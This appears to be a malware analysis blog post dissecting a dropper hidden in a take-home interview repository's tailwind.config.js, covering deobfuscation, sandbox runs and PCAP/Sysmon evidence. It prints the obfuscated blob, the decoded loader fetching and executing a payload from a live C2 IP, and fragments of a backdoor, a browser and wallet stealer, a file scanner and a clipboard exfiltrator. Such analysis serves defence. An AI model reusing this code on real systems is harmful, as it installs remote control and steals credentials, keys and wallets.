f=e[c];if(b['ILoBXq']===undefined){var g=function(l){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p=0x18ec+0x926+-0x2212,q,r,s=0x6*-0x585+-0x6d*0x31+0xd*0x427;r=l['charAt'](s++);~r&&(q=p%(-0x180*-0x18+0x242d+0xa4f*-0x7)?q*(0x43*0x3a+0x24f*-0xa+0xc*0xae)+r:r,p++%(0x16fc+0x26ea+-0x3de2))?n+=String['fromCharCode'](-0x1d9+-0x1*-0x4f4+-0x21c&q>>(-(0xbd0+-0x1cc4+0x10f6)*p&-0x9e3*0x2+0x866+0x5b3*0x2)):-0xd0c+-0x966+0x152*0x11){r=m['indexOf'](r);}for(var t=0x4aa+-0x945*-0x3+-0x2079,u=n['length'];t<u;t++){o+='%'+('00'+n['charCodeAt'](t)['toString'](0x34*-0xb+0x1*0x17e+-0x1*-0xce))['slice'](-(-0x1d0d+-0xa01+0x2710));}return decodeURIComponent(o);};b['LBTIVT']=g,b['wTorJM']={},b['ILoBXq']=!![];}var h=e[0x1026+0x5*-0x347+0x3d],i=c+h,j=b['wTorJM'][i];return!j?(f=b['LBTIVT'](f),b['wTorJM'][i]=f):f=j,f;}function a(){var bX=['mtG3mJm0m3DeBxvIqW','lSkgc0FcSCoirCoHra','xdioW4S9','iCorjuiYWRL4WRLBiZ4kWR7dGq','FSkXW7aUmW','a1GnzG','wfzVCNa','imkcf2xdIv4','v0DQEwO','vgHjzfC','x19WCM90B19F','WRNcU0G3WRO','W5ddSSkMW7qOW7ipW6TfW6G','WOW5bI7cUG','a1TjW4pdVW','WR8VW43dPhP8WRNcIW','rfbktKC','WQNcGv0','yufmse8','WR7cTwS+WRmQ','vwfUyKO','WQ8MWQO/o8oM','WOe5W6tdVG','sK1yzee','lSkKg0tdNq','DMTzugu','uezOu1i','qeb0B1n0CMLUz1rHzW','yMjPyxG','C2nYExb0u3LUyW','ySkdW5ddLCkk','lfW2yLC','WPG8WPORga','W6tdL8k8W7q','WPtdSdBcTGvzWPm3','AxrLCMf0B3i','WRRdNIxcRJpdUG','r2vUzxjHDg9YigLZigfSCMvHzhKGCNvUBMLUzW','z25KzM0','BMv4Da','BmodafxcSColEmof','WOiKW4/dM28','WQxcI8kQWRz9WRukW7SDWQjPBKRdQNVcPSkLw8kEWP8lEmk9nsSsvSkKWOdcUYpdGG','sfDlA0m','eYdcTb3dTCkur8kAlmktl8knrSkl','rwjLvKW','zhjtEMS','y29Uy2f0','zxHLy1n5BMm','Buf0r2O','W4eheNFcHG','WRTyFGJcIWxdHJTKvgpcTwDibhdcRcb0WPNcH2RdUmkmWPFdJSoJW5RcP8k1WOON','u2z6EM8','rwPyr2G','WO0hW73dHMy','W7xcQSkyW5hcJx/cVwdcM8k0pCo0rW','nCkffIpcVa','zgLZCgXHEu5HBwu','W7ddJrNcJcO','sxJdKdjC','rmk/W6FdRmkbya','pYBdN8kJdW','W53dQtBcSaXcWPHRa2FdTWBcQs9VosStvSkEW4JcHHOqBtRcS1akWR/dM0a','j8oIW7bQWQ3dKdVdVSkmaCoKW7ddImk6W6JcPJbXW59elHCEWOy5fmkdW6TNWR7dMZa','bmkZf3xcPG','zNjVBq','ExnJyMy','BNWogeK','WR5/vxz1pIi4gCocW5q','yMLUza','k8o+W4fKWQW','fSkBW53cQmoh','C0PrqKW','tgHqtgi','WPBdNspcPW','cmkinMpdNW','u2HkD0G','zg9Uzq','BSkLW4SjdG','ESk+W7ldS8kc','otryt2rguLO','j8oIW5WUWPm','WQxdRZZcUdW','WORdJgRcSde','jNSsjv7cNSoiWPvQo8kxW5jtW7q8WRJdLCocrfFdSCoJlCoCtmocB8kRke3cVwi','WOioySohW7W','WPmjfSo+WP/cVuq','h8kXexdcMG','AM9PBG','WQ84WPG/bW','WQ/cM8kyW6Wa','Dhbisum','vgT0s2y','y29UC3rYDwn0B3i','urjQB8keWONcVa','WQmBhdVcQW','EMjbBfa','fc3cPsm','l2fWAs9Zzxj2AwnLlW','W6Kkn07cUG','DxrMoa','Dhj3Bwm','Dw5KzwzPBMvK','WQ3cP8oiDeO','WO/cLCotwCoF','shRcHshdPa','u2v0','C2v0uhjVDg90ExbLt2y','s2vpzxC','sKn1yKG','s1b2qKW','WOdcQMldTLOeW4D2ww/dUXRcTa','uxbuwvK','yxbWBhK','v2XfAxO','fSoNW5fYWPS','D8kOkepcNG','WRfBs3rI','W4pdIthcIsu','bmorbgaL','A3PuANi','DwXjBhK','tu9btK8','WRJcNmk+W6qA','WP/dQealx34','r2vUzxjHDg9Y','BgvUz3rO','D3jPDgvgAwXLu3LUyW','sgPXBfC','zgvMAw5LuhjVCgvYDhK','BML4Cgm','mtjlzLjmsuq','qmk7W4ldJ8k3','uvfUD1a','xhBcH8kewa','zNvUy3rPB24','wCkqW4uEkCk/W4NcMtq','WQ7cPCk7W4a','t1HHv08','r2pcQWpdOG','caBcHcJdPG','W6GaaXOgWRJdISk/la','WQGHW7ldVa','WOFcJ0pcG13dP8k/W5pdGCkHWOW','tNj0BgK','Eu9zC3a','ndCXndCYmg96EMLVAa','EmkZW4qDfG','C3bHD24','wLLvB1e','DNbSDNi','wmkzW4RdTSkL','DfzWsNG','qSkRbeBcIq','WRvxDt4n','WQBdMxynyW','WOFcP8oRwG','wKDZrNG','ANruEvG','CfPZDfy','sw52ywXPzcbHDhrLBxb0ihrVigrLC3rYDwn0DxjLig4','W55mW5tdHvS','DsSfWRhcJ8o/DrbnW4CXeua','WPldKIVcRt0','B3rpEvy','DgHYB3C','rNrprwK','CLzRquG','quv1q0q','vmkcoKFcVW','W4OMpSk0W6m','AKZcKaFdKY9Y','C2fSDa','W6TUW5hdGgi','y2XlCeG','jCk3fHZcOmorW73cU8o3t8kLW5jr','W6a8cSkCW78','aCohW5n7WPu','C3rYAw5N','WR7cU3e+WRO','WPjiwLjo','WQ7cPmkqW5iy','WQ8xWP06fq','yMXuBeS','WPRdMh/cKJ0','mty3mJq1ogTsyNrdra','WPydWP8Baa','xsTMWOHKk0xcQKCwW4NcPMykWPCSW5RdKf0/htZdQmkwo8orkJKuW7BcHvK','bCo1f3aq','W6y4k8ohWQa','WRddVSozWOxdKdK','W4ygpSozWRm','ocHjW6/dRa','swvrv2y','sezku2S','EvHszg8','CGa5bSkYW4/dISos','BftcH8knqW','WP/cO0iOWOu','nXBcMGNdSG','WRiCoYq','DSoCttBdOg7dIbboWPq','WPyjW5JdKv7cLCoMW74','vg5dzeG','WPFcVKmYWRO','kXZdQmkidG','W5tdOCkQW4GP','xMpcQtJdUW','WQKHW63dTt4H','v25Lu1y','baBdRCkjmq','mG3dG8kPpa','rmk3cutcMmks','DKjxv00','W6ddGmkGW7qIW7qxW69p','WQH+wgr0kZ8VkmovW4unW4xdOSoakbO','WQ/cV3eOWQaW','WRXCoI/cNa','D1rIs0G','Derwuhi','y3jLyxrL','WPpcUCo4Eq','W4i/mv/cUa','wuvZtMu','o8kmffZcRmoitW','mteXotjoBgj3wvi','CMv0DxjU','ChjVDg90ExbL','y2fSBa','DNfWs3a','WPihdYxcNq','WOy1W7ZdLwS','W6JdQZfTWPOAsmo4cmk3','vNbqCg8','AfHNree','vepdRt9A','W75NW6NdMga','dSkinbVcHW','WP0PW7NdSConhW','W684f0pcVG','qLjWuMS','W7BdUaBcSaG','WRiuW53dKxa','sg9OvxC','AKr4vve','Ee1kz3O','wceZbSk4','vxrgvwO','WQ5VhZtcRq','ofFcRqpdTt1S','W4CfnCo2WQRcRW','WPBdJIRcQItdQW','WRG7WOa7pCoGWQW6','xa1pq8kt','WQJcUfu8WRG','WRDAnYpcHq','B1jlwgy','WO3cMwtcUSoM','DLzbzgK','nZu5mtq1nNzKEKP6AW','Cw91D2m','WRddV8otWOpdUa','WRpcRmokDvq','BNbTigLUC3rHBgWGyxHPB3mGC29JA2v0lMLVlwnSAwu','ys0qiCkb','C0DXuui','z2v0','C3bSAxq','Eujyu3e','vfLdthK','W7dcTMO6WR47sCoVa8oAqJZcN8oMWOxdUq','zxHWB3j0CW','BHO0fCk9W5/dICofkmo/WPBdTSkdWPeSr8kZWPq','BM9KzsbWywnR','jNb5W7FdSq','whDABKK','WRhdSCo5WOddKW','mtKXmdq0mgzouxfsDa','jc/cLqRdOW','W7tdN8kaW6me','y2XKqNO','otKZu0fjugDl','xSoNd0ddJmkEmHNdImoWj1eoWOZcV8kFW57dRmk1tJfhuCkov8oLW5VdGLtdJh3cKW','zg5fD0O','WQOJW7xdVmoCfmouW5hcTSkAWOdcILZcN8ocW4NdHxi','CNvVtuS','W6nBW5ldKKpcG8owW4vqqc0DWOy4W5BdJuu','WQ4LW7NdOmowhmof','z2nVugK','W41nW73dHupcG8oB','pCkvcf8','vCk1W73dUSksEG','obBdKCkZ','zxCloG','r0zeuuC','psX3WQJcTJFdJfajoay','W4RcRvKBwxHRWQG','BMfTzq','W71YW5RdSuq','WQZdP8oDWPhcG2tcOG','eaVdLCkqhW','qxjNDw1LBNrZ','nCkUo0JdSG','s2ffuM0','BvHNshy','DNCepq','Dg1WzgLY','uNzlwNG','yx7cM8k+FW','WO7dQLVcKqCFza','y3jLyxrLrgvJAxbOzxjPDG','wwL3CNe','tMz5EMq','a8ogW5DuWQi','qauVW7yX','CNK0iLJdL8ooWPnip8oq','WR7cQKtcHSoc'];a=function(){return bX;};return a();}
To an untrained eye, this looks like random noise, but to a reverse engineer, it looks like obfuscation (real JavaScript code, rearranged, encoded, and wrapped such that humans can't read it anymore, while the JavaScript interpreter can still execute it just fine).
That hidden blob immediately sparked my curiosity. It was no longer just a question of why the app behaved strangely, now I wanted to know why someone had gone through the trouble of obfuscating and hiding it there. Thus, I decided to investigate it further, trying to understand the obfuscation logic and eventually deobfuscate it so I can get a better understanding of what the JavaScript code does.
Unscrambling
The blob used a very common JavaScript obfuscation pattern:
- Put important strings in a large array.
- Rotate that array until a checksum matches.
- Hide string access behind decoder functions.
- Replace obvious names with numeric indexes and wrapper calls.
The point is not to make the code unrunnable. It is only to make it very hard for humans to read.
A small breakdown looks like this:
1const strings = [ 2 'Y2hpbGRfcHJvY2Vzcw==', // b64encode("child_process") 3 'ZXhlY1N5bmM=', // b64encode("execSync") 4 'bm9kZSBwYWNr', // b64encode("node pack") 5]; 6 7function decode(index) { 8 return Buffer.from(strings[index], 'base64').toString('utf8'); 9} 10 11require(decode(0))[decode(1)](decode(2));
Once decoded, that becomes:
1require('child_process').execSync('node pack');
The blob did the same thing at a much larger scale. It had two decoder functions, one for simple base64-style string recovery and another that applied an RC4-like stream cipher with a per-string key. It also rotated the string array before the decoder indexes made sense.
The deobfuscation logic was:
- Extract the string array.
- Reproduce the array rotation until the expected checksum is reached.
- Reimplement the decoder functions.
- Replace calls like
b(0x214)andc(0x2f1, "key")with real strings. - Simplify wrapper objects and helper functions until the intent is visible.
We do notneed to run the malware in order to deobfuscate it, but we only needed to evaluate the string-decoding machinery, then replace the obfuscated calls with their decoded values and following this pass, the blob becomes readable:
1const childProcess = require("child_process"); 2const os = require("os"); 3const fs = require("fs"); 4const path = require("path"); 5const crypto = require("crypto"); 6 7childProcess.execSync( 8 "npm install axios socket.io-client --no-warnings --no-progress --loglevel silent", 9 { 10 windowsHide: true, 11 cwd: os.tmpdir(), 12 } 13); 14 15const axios = require("axios"); 16 17process.on("uncaughtException", function ignored() {}); 18process.on("unhandledRejection", function ignored() {}); 19 20const uid = "59e605dd78fb2aafccd1b622f06a00ca"; 21const c2Url = `http://45.146.252.17/api/service/${uid}`; 22const aesKey = crypto.scryptSync(uid, "salt", 32); 23 24axios.get(c2Url).then((response) => { 25 const [ivBase64, ciphertextBase64] = response.data.split(":"); 26 const decipher = crypto.createDecipheriv( 27 "aes-256-cbc", 28 aesKey, 29 Buffer.from(ivBase64, "base64") 30 ); 31 32 const stage2Source = 33 decipher.update(ciphertextBase64, "base64", "utf8") + 34 decipher.final("utf8"); 35 36 fs.writeFileSync(path.join(os.tmpdir(), "pack"), stage2Source, { flag: "w+" }); 37 38 childProcess.execSync("node pack", { 39 windowsHide: true, 40 cwd: os.tmpdir(),
And surprise! It is a malware dropper.
InfoA malware dropper is a type of malicious program used by attackers to sneak other harmful software (like viruses, ransomware, or spyware) onto a target computer or device. It acts like a Trojan horse. It looks harmless on the outside to trick the user or security systems
Act 2: myself infected
We are now certain that this is a malware, but we do not know yet what was the damage. The only way to assess this is to fetch the pack program from http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca and analyze it as well.
So, I decided to expose myself to the malware too, just that, on a Virtual Machine, of course, so I can then take a closer look at it's behaviour and better understand what the goal of the scammer was.
The sandbox
For this experiment, I built a disposable Windows 11 ARM virtual machine using UTM. The goal was to observe the malware in an isolated environment, collect evidence, and avoid exposing my host system.

The VM was configured with Windows ARM, 4096 MiB of memory, a 64 GiB disk, shared/NAT networking, and shared folders disabled.
Once the VM was ready, I installed a small set of tools to capture the malware's behavior from multiple angles:
- Wireshark, for packet capture and C2/exfiltration traffic.

- Sysinternals Sysmon, for durable Windows event telemetry.
- Sysinternals Procmon, for process, registry, and filesystem activity during the run.

I also planted realistic decoy material so I could see what the malware tried to collect. The decoys included SSH keypairs, private GitHub repositories, crypto wallets, browser data, and other files that would be attractive to an infostealer.
Red Light, Green Light
Now the setup was ready. The plan was simple: start the "interview program" inside the VM, let the malicious build chain execute, keep the monitoring tools running long enough to capture its behavior, then stop the run and preserve the evidence.
yarn start
I let it run for roughly 10 minutes. Then I stopped the Wireshark capture and shut down the system and process monitoring tools. The run produced three artifacts that became the basis for the rest of the analysis: run1-full.pcapng, run1-sysmon.evtx, and stage2-pack.bin.
Act 3: Malware anatomy
We know that the obfuscated script connects to a remote IP and downloads the malware from it. Because of that, the first thing I did was to look at the network traffic. The PCAP gives the cleanest timeline and it should be visible on the wire.
The first query I ran was:
tshark -n -r run1-full.pcapng \ -Y "http.request && ip.dst == 45.146.252.17" \ -T fields -e tcp.dstport -e http.request.method -e http.request.uri \ | sort | uniq -c
This offers us an overview of the traffic that went through the malicious IP.
1 80 GET /api/service/59e605dd78fb2aafccd1b622f06a00ca 2 80 POST /api/service/process/59e605dd78fb2aafccd1b622f06a00ca 2 80 POST /api/service/makelog 1 7641 GET /socket.io/?EIO=4&transport=polling&t=062lv9sy 1 7641 POST /socket.io/?EIO=4&transport=polling&t=06guj3rk&sid=PeKqLRpUkbHp5ZsSAAFS 1 7641 GET /socket.io/?EIO=4&transport=polling&t=06gv05sm&sid=PeKqLRpUkbHp5ZsSAAFS 1 7641 GET /socket.io/?EIO=4&transport=websocket&sid=PeKqLRpUkbHp5ZsSAAFS 2588 7646 POST /upload 3 7649 POST /upload
The result was not subtle, because it immediately gave the investigation a clearer shape:
- port
80was used mostly for the first-stage fetch, host registration, and logs. - port
7641was a Socket.IO command-and-control channel (backdoor). - port
7646received thousands of file uploads. - port
7649received a smaller number of larger uploads.
Now, looking at the first request sent to this IP, we can see that it matched exactly what the static loader had predicted:
GET /api/service/59e605dd78fb2aafccd1b622f06a00ca Host: 45.146.252.17 Response: HTTP 200 Content-Type: text/html; charset=utf-8 Content-Length: 150897
The response body seems to have the exact format that the dropper expected: base64_iv:base64_ciphertext
1/RvPsEQX/ogf3g03Kj+ZBw==:m+nCzyaA7Oa8UTKI9MdC77k+ySZJG8jSELFlwJpc8TC4TTeIDO...
So, the malicious tailwind.config.js contacted 45.146.252.17, downloaded an encrypted blob, decrypted it with AES-256-CBC, wrote the result (plaintext) to disk at %TEMP%\pack, and executed it with node pack.
A pack of wolves
The downloaded file, pack (also referred to as the second stage payload), is where the real malware logic sits. Let's have a look at it:
SHA-256: 68a64d8c015c06fd70bcb8c5878c1e430da827dd00b62f8e6ef69e76bb94de5b Size: 113136 bytes Type: ASCII JavaScript, one long line
Suprisingly, the contents of pack are not actually readable, however, it does look odly familiar:
1(function(d,e){var aT=c,aS=b,f=d();while(!![]){try{var g=parseInt(aS(0x725))/(0x1acf*0x1+0x1b63*-0x1+0x95)*(parseInt(aS(0x222))/(0x179f+0x14f+0x122*-0x16))+-parseInt(aS(0x293))/(-0x2634+0x184f+0xde8*0x1)*(-parseInt(aS(0x53d))/(0xb63+-0x21a6+0x1647))+-parseInt(aT(0x74a,'Sl40'))/(0x1*-0x2107+0xb19*0x1+0x15f3)*(-parseInt(aT(0x37e,'3sG5'))/(0xd07+-0x1181*-0x1+0xa*-0x30d))+parseInt(aS(0x714))/(0x1*-0x1f3f+0x19*0x136+0x4*0x40)+parseInt(aT(0x339,'IZPn'))/(-0x1a33*-0x1+-0x1*-0xe82+-0x28ad)*(-parseInt(aS(0x6ce))/(0x208c*-0x1+-0x5dd+0x7*0x57e))+parseInt(aT(0x273,'564a'))/(-0x2*-0xe9f+-0xfd8*0x1+-0xd5c)*(-parseInt(aS(0x64c))/(-0x277*-0xe+-0x6c7+-0x1bb0*0x1))+parseInt(aT(0x64e,'Qbi3'))/(-0x134f+-0x245f+0x37ba)*(-parseInt(aT(0x35b,'bHNO'))/(-0x2*0x129e+-0x1115+0x365e));if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,-0xae7bf+0xc89c3*0x1+-0x1*-0xd0c15),((()=>{var aV=c,aU=b,z={'skwnr':aU(0x40d)+aU(0x6f0)+aU(0x284)+aU(0x3fa)+aV(0x75b,'(j91'),'MdzwF':function(af,ag){return af(ag);},...
That's right! The decryption did not give us clean source code. It only peeled off the encryption layer and revealed yet another obfuscated JavaScript program. Luckly, it uses the exact same obfuscation technique that was used inside the tailwind.config.js file. This means we can use the same deobfuscation technique in order to make it human readable.
Taming the wolves
After deobfuscating the source code, we get the following output:
1const config = { 2 uid: "59e605dd78fb2aafccd1b622f06a00ca", 3 ukey: 308, 4 t: 3, 5 socketPort: 7641, 6 keyPort: 7648, 7 browserUploadPort: 7649, 8 fileUploadPort: 7646, 9 primaryHost: "45.146.252.17", 10 secondaryHost: "45.146.252.17", 11}; 12 13function bootstrap() { 14 const scdataSource = buildScdata({ 15 uid: config.uid, 16 host: config.primaryHost, 17 socketPort: config.socketPort, 18 t: config.t, 19 }); 20 writeFile(tempPath("scdata"), scdataSource); 21 22 execInTemp("npm i axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent && node scdata"); 23 24 const ldataSource = buildLdata({ 25 host: config.secondaryHost, 26 uploadPort: config.browserUploadPort, 27 userKey: config.ukey, 28 t: config.t, 29 }); 30 writeFile(tempPath("ldata"), ldataSource); 31 32 execInTemp("npm i axios && node ldata"); 33 34 const fileScannerSource = buildFileScanner({ 35 host: config.secondaryHost, 36 uploadPort: config.fileUploadPort, 37 userKey: config.ukey, 38 t: config.t, 39 }); 40 spawnDetached("node", ["-e", fileScannerSource]);
A lot better, but still, a bit overwhelming. If we zoom-out from the noisy details of the code, we can spot a rather simple scheme which allows us to break down the malware into four different components.
In simplified JavaScript, the whole thing looks roughly like this:
-
Program 1: write a command/control backdoor to disk, then run it.
1const scdata = decodeEmbeddedProgram("scdata"); 2fs.writeFileSync(path.join(tempDir, "scdata"), scdata); 3execHidden("npm install axios socket.io-client && node scdata", { 4 cwd: tempDir, 5}); -
Program 2: write a browser/wallet stealer to disk, then run it.
1const ldata = decodeEmbeddedProgram("ldata"); 2fs.writeFileSync(path.join(tempDir, "ldata"), ldata); 3execHidden("npm install axios && node ldata", { 4 cwd: tempDir, 5}); -
Program 3: run the recursive file scanner directly from memory.
1const fileScanner = decodeEmbeddedProgram("file-scanner"); 2spawnHidden("node", ["-e", fileScanner]); -
Program 4: run the clipboard watcher directly from memory.
1const clipboardWatcher = decodeEmbeddedProgram("clipboard-watcher"); 2spawnHidden("node", ["-e", clipboardWatcher]);
So the second-stage payload is really a small process tree, not a single script. Let's take a closer look at each subprogram individually.
Program 1: scdata, the backdoor
The first component is scdata. This one is not executed with node -e; the bootstrap writes it to disk inside the Windows temp directory and then launches it as a normal Node.js script:
1fs.writeFileSync(path.join(os.tmpdir(), "scdata"), backdoorSource); 2 3execHidden( 4 "npm i axios socket.io-client --no-warnings --no-save --no-progress --loglevel silent && node scdata", 5 { cwd: os.tmpdir() } 6);
That small detail matters. A node -e command is noisy but temporary. A file named scdata in %TEMP% is easier to relaunch, easier to inspect from a process tree, and it gives the attacker a proper long-running child process.
Once it starts, scdata gives itself a more innocent name, vhost.ctl, and creates a small single-instance marker:
1process title: vhost.ctl 2single-instance marker: %TEMP%\.npm\vhost.ctl 3host registration: http://45.146.252.17/api/service/process/59e605dd78fb2aafccd1b622f06a00ca 4log endpoint: http://45.146.252.17/api/service/makelog 5Socket.IO C2: http://45.146.252.17:7641
Then it pulls in the dependencies needed for remote control:
1npm install socket.io-client ssh2 node-pty --no-warnings --no-progress --loglevel silent 2npm install sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-progress --loglevel silent
The first dependency group gives it terminal and SSH-like behavior. The second group is for desktop interaction: screenshots, clipboard access, mouse movement, clicks, scrolling, and keyboard input. In other words, this is not just a passive stealer. It is designed to become an interactive remote-control channel.
The Socket.IO event names make that pretty explicit:
1start-terminal 2terminal-input 3terminal-resize 4stop-terminal 5command 6whour 7capture 8mouseMove 9mouseClick 10mouseScroll 11keyTap 12keyCombo 13copyText 14pasteText 15start_ssh 16ssh_input 17kill
The PCAP confirms this. The backdoor registers the host, posts logs, then opens a Socket.IO session on port 7641:
tshark -n -r run1-full.pcapng \ -Y "http.request && ip.dst == 45.146.252.17" \ -T fields -e tcp.dstport -e http.request.method -e http.request.uri \ | sort | uniq -c
1 80 GET /api/service/59e605dd78fb2aafccd1b622f06a00ca 2 80 POST /api/service/process/59e605dd78fb2aafccd1b622f06a00ca 2 80 POST /api/service/makelog 1 7641 GET /socket.io/?EIO=4&transport=polling&t=062lv9sy 1 7641 POST /socket.io/?EIO=4&transport=polling&t=06guj3rk&sid=PeKqLRpUkbHp5ZsSAAFS 1 7641 GET /socket.io/?EIO=4&transport=polling&t=06gv05sm&sid=PeKqLRpUkbHp5ZsSAAFS 1 7641 GET /socket.io/?EIO=4&transport=websocket&sid=PeKqLRpUkbHp5ZsSAAFS
Looking only at port 7641, we can also see the Socket.IO handshake and the first server-side event:
0{"sid":"PeKqLRpUkbHp5ZsSAAFS","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000} 40{"sid":"AatoBMb_kk_spw5oAAFT"}\x1e42["whour"]
That whour event lines up with the deobfuscated handler that asks the infected host to identify itself.
Sysmon confirms the same execution path from the process side:
04:22:11.924404 UTC cmd.exe /d /s /c "npm i axios socket.io-client ... && node scdata" 04:22:15.259970 UTC node.exe scdata 04:22:15.688543 UTC cmd.exe /d /s /c "powershell -NoProfile -Command Get-CimInstance Win32_ComputerSystem ..." 04:22:23.567783 UTC npm install socket.io-client ssh2 node-pty --no-warnings --no-progress --loglevel silent 04:23:49.551973 UTC npm install sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-progress --loglevel silent
So the first component of the malware offers the attacker shell access and desktop-control features.
Program 2: ldata, the browser and wallet stealer
The second component is ldata. It is launched almost exactly like scdata: the bootstrap writes a decoded script into the temporary directory, installs the one package it needs, and then runs it with Node:
1fs.writeFileSync(path.join(os.tmpdir(), "ldata"), browserStealerSource); 2 3execHidden("npm i axios && node ldata", { 4 cwd: os.tmpdir(), 5});
This child process is more focused. It does not expose a remote shell. Instead, it hunts for browser profiles data and wallet-extension storage, then uploads whatever it can read to a separate upload service:
process title: npm-cache upload endpoint: http://45.146.252.17:7649/upload browser LevelDB check: http://45.146.252.17:7649/cldbs
-
Browser Data
The target list is cross-platform. On Windows it walks Chrome, Edge, Brave, and LT Browser user-data directories. On macOS it also checks Chrome, Brave, Opera, LT Browser, Edge, and the local login keychain. On Linux it checks the equivalent Chromium-style profile folders.
For every
DefaultorProfile*directory it finds, it tries to upload the Chromium databases that usually contain saved passwords, autofill data, payment metadata, and account metadata:- Login Data
- Login Data For Account
- Web Data
Then it moves into extension storage:
Local Extension Settings/<extension-id> -
Crypto Data
The hard-coded list contains wallet extension IDs. One of them is MetaMask:
nkbihfbeogaeaoehlefnkodbefgpgknnThe first eight wallet extension paths are treated specially.
ldatacopies the LevelDB directory to a temporary folder, uploads the individual files, and then calls thecldbsendpoint so the server can decide whether that LevelDB capture is complete or should be retried.
We can also observe the program nicely inside the PCAP because ldata uses port 7649:
tshark -n -r run1-full.pcapng \ -Y "http.request && ip.dst == 45.146.252.17" \ -T fields -e tcp.dstport -e http.content_length \ | awk '{c[$1]++; s[$1]+=$2; if($2>m[$1])m[$1]=$2} END {for (p in c) print p, c[p], s[p], m[p]}' \ | sort -n
80 5 1036 436 7641 4 2 2 7646 2588 8207741 82217 7649 3 365220 262364
Those three 7649 requests were the browser database uploads.
Login_Data.sqlite SQLite 3.x database, 51200 bytes Login_Data_For_Account.sqlite SQLite 3.x database, 51200 bytes Web_Data.sqlite SQLite 3.x database, 262144 bytes
In this run, the databases did not contain saved password rows or credit-card rows, but they did contain browser metadata and autofill values:
1Web Data: 2credit_cards|0 3masked_credit_cards|0 4server_credit_cards|0 5local_ibans|0 6addresses|0 7autofill|6 8 9Login Data: 10logins|0 11insecure_credentials|0 12password_notes|0 13stats|2
The Web Data schema showes exactly the kind of thing this module is trying to steal:
1CREATE TABLE logins ( 2 origin_url VARCHAR NOT NULL, 3 action_url VARCHAR, 4 username_element VARCHAR, 5 username_value VARCHAR, 6 password_element VARCHAR, 7 password_value BLOB, 8 date_created INTEGER NOT NULL, 9 blacklisted_by_user INTEGER NOT NULL, 10 scheme INTEGER NOT NULL, 11 password_type INTEGER, 12 times_used INTEGER, 13 form_data BLOB, 14 display_name VARCHAR, 15 icon_url VARCHAR, 16 federation_url VARCHAR, 17 skip_zero_click INTEGER, 18 generation_upload_status INTEGER, 19 possible_username_pairs BLOB, 20 id INTEGER PRIMARY KEY AUTOINCREMENT, 21 date_last_used INTEGER NOT NULL, 22 moving_blocked_for BLOB, 23 date_password_modified INTEGER NOT NULL 24);
And from Web Data:
1CREATE TABLE autofill (...); 2CREATE TABLE credit_cards (...); 3CREATE TABLE masked_credit_cards (...); 4CREATE TABLE keywords (...);
Chrome-derived browsers encrypt some fields locally, so a database file alone is not always enough to recover plaintext secrets. But it is still valuable. Combined with local OS secrets, cookies, extension storage, or an unlocked browser context, these files become part of a larger credential-theft pipeline.
So ldata is the browser and wallet sweep. It is not waiting for an operator. It runs, collects Chromium databases and wallet extension state, sends them to 45.146.252.17:7649, and exits once the relevant LevelDB folders are either uploaded or marked complete by the server.
Program 3: the recursive file scanner
The third component is the noisy one. Unlike scdata and ldata, the bootstrap does not write this script to a separate file. It launches the whole scanner directly from memory with node -e:
1const fileScanner = decodeEmbeddedProgram("file-scanner"); 2spawnHidden("node", ["-e", fileScanner]);
That makes the process command line ugly, but the purpose is simple: recursively walk the filesystem, decide which files look interesting, and upload them to the attacker-controlled server http://45.146.252.17:7646/upload
The scanner starts from the current user's home directory. On Windows, it also enumerates drive letters and scans each drive root:
1Get-CimInstance Win32_LogicalDisk | Select-Object -ExpandProperty DeviceID
The matching rules are broad enough to catch secrets, source code, office documents, images, config files, and shell history:
*.env* *.md *.pem *.ini *.secret *.json *.js *.ts *.csv *.txt *.doc *.docx *.pdf *.xlsx *.png *.jpg *.jpeg .zsh_history .bash_history
It also treats some folders as automatically interesting:
~/.ssh ~/.aws ~/.azure ~/.config ~/.foundry
And it hunts for crypto-flavored names: metamask, bitcoin, btc, solana, secret phrase, private key
A couple of files it collected from the host:
86621 1245.679329833 7646 641 filename="id_ed25519" 86636 1245.951291166 7646 333 filename="id_ed25519.pub" 87075 1249.185563541 7646 11279 filename="History.txt" 165211 1696.323616666 7646 4608 filename="seed.js" 165238 1697.053738500 7646 943 filename="password.js" 165255 1697.507470000 7646 1514 filename="tokens.js" 165969 1715.498364458 7646 2971 filename="ConnectWalletButton.js" 165979 1715.694484291 7646 4618 filename="ExportWallet.js" 166502 1725.747381375 7646 17418 filename="RegisterWallet.js" 166951 1735.631811208 7646 31215 filename="tailwind.config.js" 166974 1736.288944708 7646 641 filename="id_ed25519" 166981 1736.473759208 7646 333 filename="id_ed25519.pub" 170613 1794.966571083 7646 1317 filename="aptos-cli.json"
This is where the decoys paid off. The fake SSH material, repository files, wallet-looking files, and source code all showed up in the traffic.
So Program 3 is the broad filesystem sweep. ldata goes after browser and wallet storage; this one goes after everything else that might be useful: SSH keys, config files, source code, local secrets, history files, wallet-looking names, and project files.
Program 4: the clipboard watcher
The fourth component is the smallest one, but it is still nasty. Like the file scanner, it is launched directly from memory with node -e:
Its job is simple: wait a few seconds, read the clipboard in a loop, and post any changed clipboard value back to the attacker.
1process title: npm-compiler.log 2post endpoint: http://45.146.252.17/api/service/makelog
On macOS it reads the clipboard with pbpaste. On Windows it shells out to PowerShell: powershell -NoProfile -NonInteractive Get-Clipboard
The risk is obvious: people copy passwords, recovery phrases, private keys, API tokens, one-time codes, GitHub URLs, wallet addresses, and deployment secrets all day long. A clipboard watcher does not need to understand any of those formats. It only needs to notice that the clipboard changed.
Act 4: Postmortem
Looking back, this was not the most complex malware family in the world, but the delivery was smart. It was built for software engineers: people who are used to cloning private repositories, installing dependencies and running build scripts.
How this could have been prevented
The boring advice is still the best advice: treat a take-home repository like untrusted executable code until you have proved otherwise.
Before running yarn install, npm install, yarn build, or yarn start, read package.json, lifecycle scripts, config files, and obvious dependency hooks. This sample hid in tailwind.config.js, which is exactly the kind of file people skim past. Config files are code. Dependencies are code. Build tools are code.
